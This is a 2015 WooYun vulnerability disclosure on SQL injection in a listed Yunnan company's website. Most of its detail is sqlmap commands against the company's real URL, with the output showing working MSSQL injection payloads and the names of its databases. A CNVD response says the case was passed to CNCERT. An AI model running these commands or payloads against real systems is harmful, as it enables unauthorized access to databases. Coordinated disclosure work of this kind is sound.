当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118366

漏洞标题:云南天云化股份有限公司网站SQL注入大量数据暴露

相关厂商:云南天云化股份有限公司

漏洞作者: gentoofly

提交时间:2015-06-06 15:55

修复时间:2015-07-25 10:58

公开时间:2015-07-25 10:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-06: 细节已通知厂商并且等待厂商处理中
2015-06-10: 厂商已经确认,细节仅向厂商公开
2015-06-20: 细节向核心白帽子及相关领域专家公开
2015-06-30: 细节向普通白帽子公开
2015-07-10: 细节向实习白帽子公开
2015-07-25: 细节向公众公开

简要描述:

最近股市实在太火,关注一下上市公司

详细说明:

注入点:
sqlmap -u "http://www.yyth.com.cn/position/zp_index.php?id=5"
sqlmap -u "http://www.yyth.com.cn/position/zp_index.php?id=5" --dbs --current-user
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:00:51
[09:00:51] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:00:51] [INFO] testing connection to the target URL
[09:00:52] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=5 AND 6847=6847
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=5 AND 6599=CONVERT(INT,(SELECT CHAR(113)+CHAR(103)+CHAR(113)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (6599=6599) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(121)+CHAR(103)+CHAR(114)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 29 columns
Payload: id=5 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(103)+CHAR(113)+CHAR(97)+CHAR(113)+CHAR(115)+CHAR(105)+CHAR(87)+CHAR(69)+CHAR(73)+CHAR(121)+CHAR(113)+CHAR(65)+CHAR(73)+CHAR(98)+CHAR(113)+CHAR(121)+CHAR(103)+CHAR(114)+CHAR(113)--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: id=-6680 OR 2964=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(113)+CHAR(103)+CHAR(113)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (7646=7646) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(121)+CHAR(103)+CHAR(114)+CHAR(113))
---
[09:00:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, Nginx, PHP 5.2.17
back-end DBMS: Microsoft SQL Server 2005
[09:00:52] [INFO] fetching current user
current user: 'yth'
[09:00:53] [INFO] fetching database names
[09:00:54] [INFO] the SQL query used returns 8 entries
[09:00:55] [INFO] retrieved: "master"
[09:00:56] [INFO] retrieved: "model"
[09:00:57] [INFO] retrieved: "msdb"
[09:00:58] [INFO] retrieved: "QHWEB"
[09:00:59] [INFO] retrieved: "SAPDATA"
[09:01:00] [INFO] retrieved: "tempdb"
[09:01:01] [INFO] retrieved: "YTHICEP"
[09:01:01] [INFO] retrieved: "YYTH"
available databases [8]:
[*] master
[*] model
[*] msdb
[*] QHWEB
[*] SAPDATA
[*] tempdb
[*] YTHICEP
[*] YYTH
[09:01:01] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.yyth.com.cn'
[*] shutting down at 09:01:01

漏洞证明:

屏幕快照 2015-06-05 上午9.31.50.png


屏幕快照 2015-06-05 上午9.32.10.png


屏幕快照 2015-06-05 上午9.32.21.png

修复方案:

过滤特殊字符

版权声明:转载请注明来源 gentoofly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-06-10 10:56

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给云南分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论